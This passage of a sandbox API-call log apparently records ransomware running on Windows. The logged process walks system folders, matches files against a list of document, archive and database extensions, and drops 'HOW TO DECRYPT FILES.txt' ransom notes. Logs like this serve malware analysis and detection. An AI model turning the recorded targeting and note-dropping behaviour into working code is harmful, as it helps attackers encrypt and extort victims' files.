(lpString="*.cs") returned 4 [0107.050] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Xml.Linq\\70aac9dff3bdde548962557151c1ff49\\System.Xml.Linq.ni.dll", pszSpec="*.cpp") returned 0 [0107.050] lstrlenA (lpString="*.cpp") returned 5 [0107.050] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Xml.Linq\\70aac9dff3bdde548962557151c1ff49\\System.Xml.Linq.ni.dll", pszSpec="*.rar") returned 0 [0107.050] lstrlenA (lpString="*.rar") returned 5 [0107.050] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Xml.Linq\\70aac9dff3bdde548962557151c1ff49\\System.Xml.Linq.ni.dll", pszSpec="*.zip") returned 0 [0107.050] lstrlenA (lpString="*.zip") returned 5 [0107.050] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Xml.Linq\\70aac9dff3bdde548962557151c1ff49\\System.Xml.Linq.ni.dll", pszSpec="*.html") returned 0 [0107.050] lstrlenA (lpString="*.html") returned 6 [0107.050] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Xml.Linq\\70aac9dff3bdde548962557151c1ff49\\System.Xml.Linq.ni.dll", pszSpec="*.htm") returned 0 [0107.050] lstrlenA (lpString="*.htm") returned 5 [0107.050] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Xml.Linq\\70aac9dff3bdde548962557151c1ff49\\System.Xml.Linq.ni.dll", pszSpec="*.xlsx") returned 0 [0107.051] lstrlenA (lpString="*.xlsx") returned 6 [0107.051] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Xml.Linq\\70aac9dff3bdde548962557151c1ff49\\System.Xml.Linq.ni.dll", pszSpec="*.xls") returned 0 [0107.051] lstrlenA (lpString="*.xls") returned 5 [0107.051] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Xml.Linq\\70aac9dff3bdde548962557151c1ff49\\System.Xml.Linq.ni.dll", pszSpec="*.mp4") returned 0 [0107.051] lstrlenA (lpString="*.mp4") returned 5 [0107.051] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Xml.Linq\\70aac9dff3bdde548962557151c1ff49\\System.Xml.Linq.ni.dll", pszSpec="*.ppt") returned 0 [0107.051] lstrlenA (lpString="*.ppt") returned 5 [0107.051] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Xml.Linq\\70aac9dff3bdde548962557151c1ff49\\System.Xml.Linq.ni.dll", pszSpec="*.pptx") returned 0 [0107.051] lstrlenA (lpString="*.pptx") returned 6 [0107.051] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Xml.Linq\\70aac9dff3bdde548962557151c1ff49\\System.Xml.Linq.ni.dll", pszSpec="*.doc") returned 0 [0107.051] lstrlenA (lpString="*.doc") returned 5 [0107.051] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Xml.Linq\\70aac9dff3bdde548962557151c1ff49\\System.Xml.Linq.ni.dll", pszSpec="*.dot") returned 0 [0107.051] lstrlenA (lpString="*.dot") returned 5 [0107.051] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Xml.Linq\\70aac9dff3bdde548962557151c1ff49\\System.Xml.Linq.ni.dll", pszSpec="*.docx") returned 0 [0107.051] lstrlenA (lpString="*.docx") returned 6 [0107.051] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Xml.Linq\\70aac9dff3bdde548962557151c1ff49\\System.Xml.Linq.ni.dll", pszSpec="*.7z") returned 0 [0107.052] lstrlenA (lpString="*.7z") returned 4 [0107.052] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Xml.Linq\\70aac9dff3bdde548962557151c1ff49\\System.Xml.Linq.ni.dll", pszSpec="*.tar") returned 0 [0107.052] lstrlenA (lpString="*.tar") returned 5 [0107.052] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Xml.Linq\\70aac9dff3bdde548962557151c1ff49\\System.Xml.Linq.ni.dll", pszSpec="*.bz2") returned 0 [0107.052] lstrlenA (lpString="*.bz2") returned 5 [0107.052] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Xml.Linq\\70aac9dff3bdde548962557151c1ff49\\System.Xml.Linq.ni.dll", pszSpec="*.gz") returned 0 [0107.052] lstrlenA (lpString="*.gz") returned 4 [0107.052] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Xml.Linq\\70aac9dff3bdde548962557151c1ff49\\System.Xml.Linq.ni.dll", pszSpec="*.mkv") returned 0 [0107.052] lstrlenA (lpString="*.mkv") returned 5 [0107.052] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Xml.Linq\\70aac9dff3bdde548962557151c1ff49\\System.Xml.Linq.ni.dll", pszSpec="*.eml") returned 0 [0107.052] lstrlenA (lpString="*.eml") returned 5 [0107.052] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Xml.Linq\\70aac9dff3bdde548962557151c1ff49\\System.Xml.Linq.ni.dll", pszSpec="*.msg") returned 0 [0107.052] lstrlenA (lpString="*.msg") returned 5 [0107.052] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Xml.Linq\\70aac9dff3bdde548962557151c1ff49\\System.Xml.Linq.ni.dll", pszSpec="*.edb") returned 0 [0107.052] lstrlenA (lpString="*.edb") returned 5 [0107.052] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Xml.Linq\\70aac9dff3bdde548962557151c1ff49\\System.Xml.Linq.ni.dll", pszSpec="*.accdb") returned 0 [0107.052] lstrlenA (lpString="*.accdb") returned 7 [0107.053] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Xml.Linq\\70aac9dff3bdde548962557151c1ff49\\System.Xml.Linq.ni.dll", pszSpec="*.odb") returned 0 [0107.053] lstrlenA (lpString="*.odb") returned 5 [0107.053] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Xml.Linq\\70aac9dff3bdde548962557151c1ff49\\System.Xml.Linq.ni.dll", pszSpec="*.java") returned 0 [0107.053] lstrlenA (lpString="*.java") returned 6 [0107.053] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Xml.Linq\\70aac9dff3bdde548962557151c1ff49\\System.Xml.Linq.ni.dll", pszSpec="*.asm") returned 0 [0107.053] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d30388b, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x1d30388b, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x1d3299eb, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x62000, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="System.Xml.Linq.ni.dll", cAlternateFileName="SYSTEM~1.DLL")) returned 0 [0107.053] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0107.053] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d375cac, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x1d375cac, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x1d375cac, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="70aac9dff3bdde548962557151c1ff49", cAlternateFileName="70AAC9~1")) returned 0 [0107.054] FindClose (in: hFindFile=0x502598 | out: hFindFile=0x502598) returned 1 [0107.054] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5d3a29cb, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x5d3a29cb, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x5d3a29cb, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x790053, dwReserved1=0x740073, cFileName="TaskScheduler", cAlternateFileName="TASKSC~1")) returned 1 [0107.054] lstrcmpA (lpString1=".", lpString2="TaskScheduler") returned -1 [0107.054] lstrcmpA (lpString1="..", lpString2="TaskScheduler") returned -1 [0107.054] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\*.*") returned="*.*" [0107.054] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\", lpString2="TaskScheduler" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\TaskScheduler") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\TaskScheduler" [0107.054] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\TaskScheduler\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5d3a29cb, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x5d3a29cb, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x5d3a29cb, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0107.055] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0107.055] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5d3a29cb, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x5d3a29cb, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x5d3a29cb, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0107.055] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0107.055] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0107.055] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5d3a29cb, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x5d3a29cb, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x5d3a29cb, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="99797e9500ed7bfa6b06063e7f017313", cAlternateFileName="99797E~1")) returned 1 [0107.055] lstrcmpA (lpString1=".", lpString2="99797e9500ed7bfa6b06063e7f017313") returned -1 [0107.055] lstrcmpA (lpString1="..", lpString2="99797e9500ed7bfa6b06063e7f017313") returned -1 [0107.055] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\TaskScheduler\\*.*") returned="*.*" [0107.055] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\TaskScheduler\\", lpString2="99797e9500ed7bfa6b06063e7f017313" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\TaskScheduler\\99797e9500ed7bfa6b06063e7f017313") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\TaskScheduler\\99797e9500ed7bfa6b06063e7f017313" [0107.056] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\TaskScheduler\\99797e9500ed7bfa6b06063e7f017313\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5d3a29cb, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x5d3a29cb, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x5d3a29cb, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0107.056] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0107.056] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5d3a29cb, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x5d3a29cb, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x5d3a29cb, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0107.056] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0107.056] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0107.056] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5d30a44a, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x5d30a44a, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x5d3305aa, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x3be00, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="TaskScheduler.ni.dll", cAlternateFileName="TASKSC~1.DLL")) returned 1 [0107.056] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0107.056] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="TaskScheduler.ni.dll") returned -1 [0107.057] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="TaskScheduler.ni.dll") returned -1 [0107.057] lstrcmpiA (lpString1="", lpString2="TaskScheduler.ni.dll") returned -1 [0107.057] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\TaskScheduler\\99797e9500ed7bfa6b06063e7f017313\\*.*") returned="*.*" [0107.057] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\TaskScheduler\\99797e9500ed7bfa6b06063e7f017313\\" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\TaskScheduler\\99797e9500ed7bfa6b06063e7f017313\\") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\TaskScheduler\\99797e9500ed7bfa6b06063e7f017313\\" [0107.057] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\TaskScheduler\\99797e9500ed7bfa6b06063e7f017313\\" | out: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\TaskScheduler\\99797e9500ed7bfa6b06063e7f017313\\") returned="" [0107.057] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\TaskScheduler\\99797e9500ed7bfa6b06063e7f017313\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\TaskScheduler\\99797e9500ed7bfa6b06063e7f017313\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\TaskScheduler\\99797e9500ed7bfa6b06063e7f017313\\HOW TO DECRYPT FILES.txt" [0107.057] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\TaskScheduler\\99797e9500ed7bfa6b06063e7f017313\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_32\\taskscheduler\\99797e9500ed7bfa6b06063e7f017313\\how to decrypt files.txt")) returned 0xffffffff [0107.057] CreateFileA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\TaskScheduler\\99797e9500ed7bfa6b06063e7f017313\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_32\\taskscheduler\\99797e9500ed7bfa6b06063e7f017313\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0107.060] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0107.060] CloseHandle (hObject=0x90) returned 1 [0107.060] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\TaskScheduler\\99797e9500ed7bfa6b06063e7f017313\\", lpString2="TaskScheduler.ni.dll" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\TaskScheduler\\99797e9500ed7bfa6b06063e7f017313\\TaskScheduler.ni.dll") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\TaskScheduler\\99797e9500ed7bfa6b06063e7f017313\\TaskScheduler.ni.dll" [0107.060] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\TaskScheduler\\99797e9500ed7bfa6b06063e7f017313\\TaskScheduler.ni.dll", pszSpec="*.ems") returned 0 [0107.061] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5d30a44a, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x5d30a44a, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x5d3305aa, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x3be00, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="TaskScheduler.ni.dll", cAlternateFileName="TASKSC~1.DLL")) returned 0 [0107.061] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0107.061] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5d3a29cb, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x5d3a29cb, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x5d3a29cb, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="99797e9500ed7bfa6b06063e7f017313", cAlternateFileName="99797E~1")) returned 0 [0107.061] FindClose (in: hFindFile=0x502598 | out: hFindFile=0x502598) returned 1 [0107.061] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3a3a49e2, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x4d32fbe0, ftLastAccessTime.dwHighDateTime=0x1d305ec, ftLastWriteTime.dwLowDateTime=0x4d32fbe0, ftLastWriteTime.dwHighDateTime=0x1d305ec, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x610054, dwReserved1=0x6b0073, cFileName="Temp", cAlternateFileName="")) returned 1 [0107.061] lstrcmpA (lpString1=".", lpString2="Temp") returned -1 [0107.061] lstrcmpA (lpString1="..", lpString2="Temp") returned -1 [0107.061] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\*.*") returned="*.*" [0107.061] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\", lpString2="Temp" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Temp") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Temp" [0107.062] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Temp\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3a3a49e2, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x4d32fbe0, ftLastAccessTime.dwHighDateTime=0x1d305ec, ftLastWriteTime.dwLowDateTime=0x4d32fbe0, ftLastWriteTime.dwHighDateTime=0x1d305ec, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0107.065] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0107.065] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3a3a49e2, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x4d32fbe0, ftLastAccessTime.dwHighDateTime=0x1d305ec, ftLastWriteTime.dwLowDateTime=0x4d32fbe0, ftLastWriteTime.dwHighDateTime=0x1d305ec, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0107.065] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0107.065] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0107.065] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x110c193c, ftCreationTime.dwHighDateTime=0x1ca0440, ftLastAccessTime.dwLowDateTime=0x110c193c, ftLastAccessTime.dwHighDateTime=0x1ca0440, ftLastWriteTime.dwLowDateTime=0x110c193c, ftLastWriteTime.dwHighDateTime=0x1ca0440, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="ZAP9E41.tmp", cAlternateFileName="")) returned 1 [0107.065] lstrcmpA (lpString1=".", lpString2="ZAP9E41.tmp") returned -1 [0107.065] lstrcmpA (lpString1="..", lpString2="ZAP9E41.tmp") returned -1 [0107.065] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Temp\\*.*") returned="*.*" [0107.065] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Temp\\", lpString2="ZAP9E41.tmp" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Temp\\ZAP9E41.tmp") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Temp\\ZAP9E41.tmp" [0107.065] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Temp\\ZAP9E41.tmp\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x110c193c, ftCreationTime.dwHighDateTime=0x1ca0440, ftLastAccessTime.dwLowDateTime=0x110c193c, ftLastAccessTime.dwHighDateTime=0x1ca0440, ftLastWriteTime.dwLowDateTime=0x110c193c, ftLastWriteTime.dwHighDateTime=0x1ca0440, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0107.066] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0107.066] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x110c193c, ftCreationTime.dwHighDateTime=0x1ca0440, ftLastAccessTime.dwLowDateTime=0x110c193c, ftLastAccessTime.dwHighDateTime=0x1ca0440, ftLastWriteTime.dwLowDateTime=0x110c193c, ftLastWriteTime.dwHighDateTime=0x1ca0440, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0107.066] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0107.066] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0107.066] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x110c193c, ftCreationTime.dwHighDateTime=0x1ca0440, ftLastAccessTime.dwLowDateTime=0x110c193c, ftLastAccessTime.dwHighDateTime=0x1ca0440, ftLastWriteTime.dwLowDateTime=0x110c193c, ftLastWriteTime.dwHighDateTime=0x1ca0440, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0107.066] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0107.066] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x110c193c, ftCreationTime.dwHighDateTime=0x1ca0440, ftLastAccessTime.dwLowDateTime=0x110c193c, ftLastAccessTime.dwHighDateTime=0x1ca0440, ftLastWriteTime.dwLowDateTime=0x110c193c, ftLastWriteTime.dwHighDateTime=0x1ca0440, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="ZAP9E41.tmp", cAlternateFileName="")) returned 0 [0107.066] FindClose (in: hFindFile=0x502598 | out: hFindFile=0x502598) returned 1 [0107.066] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6a77d151, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x6a77d151, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x6a77d151, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x650054, dwReserved1=0x70006d, cFileName="UIAutomationClient", cAlternateFileName="UIAUTO~3")) returned 1 [0107.066] lstrcmpA (lpString1=".", lpString2="UIAutomationClient") returned -1 [0107.067] lstrcmpA (lpString1="..", lpString2="UIAutomationClient") returned -1 [0107.067] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\*.*") returned="*.*" [0107.067] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\", lpString2="UIAutomationClient" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\UIAutomationClient") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\UIAutomationClient" [0107.067] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\UIAutomationClient\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6a77d151, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x6a77d151, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x6a77d151, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x41005a, dwReserved1=0x390050, cFileName=".", cAlternateFileName="")) returned 0x502598 [0107.068] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0107.068] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6a77d151, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x6a77d151, 